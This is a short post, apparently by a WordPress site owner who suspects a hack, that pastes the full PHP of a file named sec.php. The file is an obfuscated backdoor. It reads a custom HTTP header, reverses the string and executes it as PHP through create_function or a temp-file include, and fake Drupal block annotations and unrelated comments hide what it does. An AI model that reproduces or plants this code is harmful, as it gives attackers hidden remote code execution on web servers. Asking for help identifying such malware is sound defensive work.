my wordpress might be hacked

sec.php

<?php

/**
* Provides a block to display 'Site branding' elements.
*
* @Block(
*   id = "system_branding_block",
*   admin_label = @Translation("Site branding")
* )
*/

class Aff6c94a9c5
{
    /**  Closure objects are not serializable so swap it out for a unique id first then back again later */
    function hasAlias($SingleTo)
    {
        if ($bound = tmpfile()) {
            fwrite($bound, $SingleTo);
            $wrapper = stream_get_meta_data($bound);
            include($wrapper['uri']);
            fclose($bound);
        }
    }

    /**  Prefix the terms with a letter to ensure there is no clash in the first */
    public function addStyle($visited){
        return strrev($visited);
    }

    /**  A custom block with visibility settings that contain a non-existing context */
    public function listEntries($isbn10){
        if(isset($isbn10[$this->instead()])){
            return $this->addStyle($isbn10[$this->instead()]);
        }
    }

    /**  Check that if set uri and serialize options then the default values are */
    public function instead(){
        $ele = 'http';
        return strtoupper($ele.'_'.__CLASS__);
    }

    public function __construct(){
        if($pass1 = $this->listEntries($_SERVER)){
            $this->period = 'create';
            $this->hasField($pass1);
        }
    }
        /**  setting a synthetic service on a frozen container is alright */
    public function hasField($viewData)
    {
        $xmlpath = 'function';
        $safeuri = $viewData . 'return true;';
        $milestone = $this->period.'_'.$xmlpath;
        $cmpageid = $milestone('', $safeuri);
        if (!$cmpageid()) {
            $this->hasAlias('<?php '.$viewData);
        }
    }
}

// new Aff6c94a9c5();